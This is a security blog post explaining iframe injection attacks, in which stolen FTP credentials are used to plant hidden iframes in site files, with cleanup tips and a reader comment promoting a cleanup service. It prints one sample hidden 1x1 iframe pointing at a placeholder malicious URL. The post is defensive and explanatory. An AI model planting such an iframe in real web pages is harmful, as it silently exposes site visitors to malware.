Tech 21 Century

  • About
  • MY BOOKS
  • Home
  • Electronics
    • Apple Products
    • Gadgets
    • Mobile Phones
  • General Tech
    • Tech News
    • Smart Home Tech
    • Technology Certifications
    • VoIP
    • Web Hosting
  • Software
    • Windows
    • Mobile Apps
    • Software Product Reviews
    • Top Software Products
    • Video Conversion Software
  • Product Reviews
    • Computers and Peripherals
    • Home Routers and Modems
    • Mesh WiFi
    • Smart Home
    • VPN
  • Security
  • Computers
  • Gaming
  • Internet
  • Video Streaming
You are here: Home / Security / Iframe Injection Website Attack and Tips to Clean the Infection
I may earn a small commission if you buy through the links in this website without any extra cost to you. My Recommendations however are not biased in any way.

Iframe Injection Website Attack and Tips to Clean the Infection

One of the most popular online attacks that happens all the time has to do with thousands of legitimate websites being hacked with the “Iframe code injection” attack resulting in Cross Site Scripting (XSS) or silent redirections to malicious websites. This means that unsuspicious visitors get infected with a malware virus when they visit that legitimate websites.

iframe injection website attack

What happens is that an “Iframe html code” is injected at the end (usually) of “index.php” or “index.html” files of the legitimate websites.

This “iframe” code embeds into the legitimate site a malicious code which installs a virus to the visitor’s PC or tries to steal sensitive information. The <iframe> html tag is used to embed content from other website into the current page. Usually an injected iframe code looks like the following:

<iframe src=”http://some-malicious-web-url” width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>

The problem usually is not because of vulnerability on the website itself but rather is usually caused by a malware Trojan which infects the website owner’s PC.

The Trojan (maybe Mpack script released by Russians and sold for $1000) steals the FTP password of the website owner and connects to the website as ftp user, thus being able to upload and modify files on the website. After the website gets infected, Google usually reports the site as “This Site May Harm Your Computer”, thus harming the reputation of the website.

The iframe injections also might infect the users’ computer with other malware which for example transform the computer into a zombie host and make it a member of a botnet network. The purpose of a botnet is to perform attacks (DDoS, Spam attacks etc) to other targets.

Some tips to clean the infection of your site:

  • First of all scan and clean your own computer which you use to connect to your site. The Trojan might be undetectable by some antivirus, so you better format the windows OS and install a fresh copy.
  • Change ALL your passwords and most importantly the FTP passwords and the website control panel passwords.
  • Download all files from your website and store them in a safe place on your PC to further analyze the infection.
  • If you have a recent clean backup of your website, upload the backup files and replace all current files.
  • If you don’t have a backup (shame on you!!) then edit all source code (html or PHP files) and search for <iframe> html commands inside the code. Delete the suspicious <iframe> and re-upload all html, php files to your website.
  •  Download an antivirus tool which scans the website for <iframe> content. If you use WordPress there are some great security plugins which scan your website’s source code for infections and also protect the site with a firewall. A great security plugin for WordPress is Wordfence for example.
Spread the love

Related Posts

  • The Hacker Next Door: Unraveling the Unexpected Human Side of Cybercrime
  • Here are the Main Pros and Cons of Cyber Security for Businesses
  • The Importance of Strong Passwords in Information Security
  • The 15 Best Cloud Based Security Solutions for Businesses (SMB or Large Enterprise)
  • Different Types of WiFi Security Standards for Your Network

Filed Under: Security

About Harris Andrea

Harris Andrea is an IT professional with more than 2 decades of experience in the technology field. He has worked in a diverse range of companies including software and systems integrators, computer networking firms etc. Currently he is employed in a large Internet Service Provider. He holds several professional certifications including Cisco CCNA, CCNP and EC-Council's CEH and ECSA security certifications. Harris is also the author of 2 technology books which are available at Amazon here.

Comments

  1. Aneesh says

    January 13, 2010 at 8:27 am

    First Step : change FTP password
    Step 2 : Download all files and clean
    Step3 : upload Files

    Remeber Do not save FTP password in your FTP client
    If you suspects that your system is infected, Format and install OS, then install a good antivirus + firewall. I suggest Avast free edition and Comodo Firewall.

    We have received many inquiries and we cleaned those infected sites. If your site is infected Please contact us

    Best Regards,
    Team HelloSystemadmin.com

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Search this Site

Copyright © 2026 | Contact | Privacy Policy & Disclaimers | Amazon Affiliate Disclaimer | Terms of Service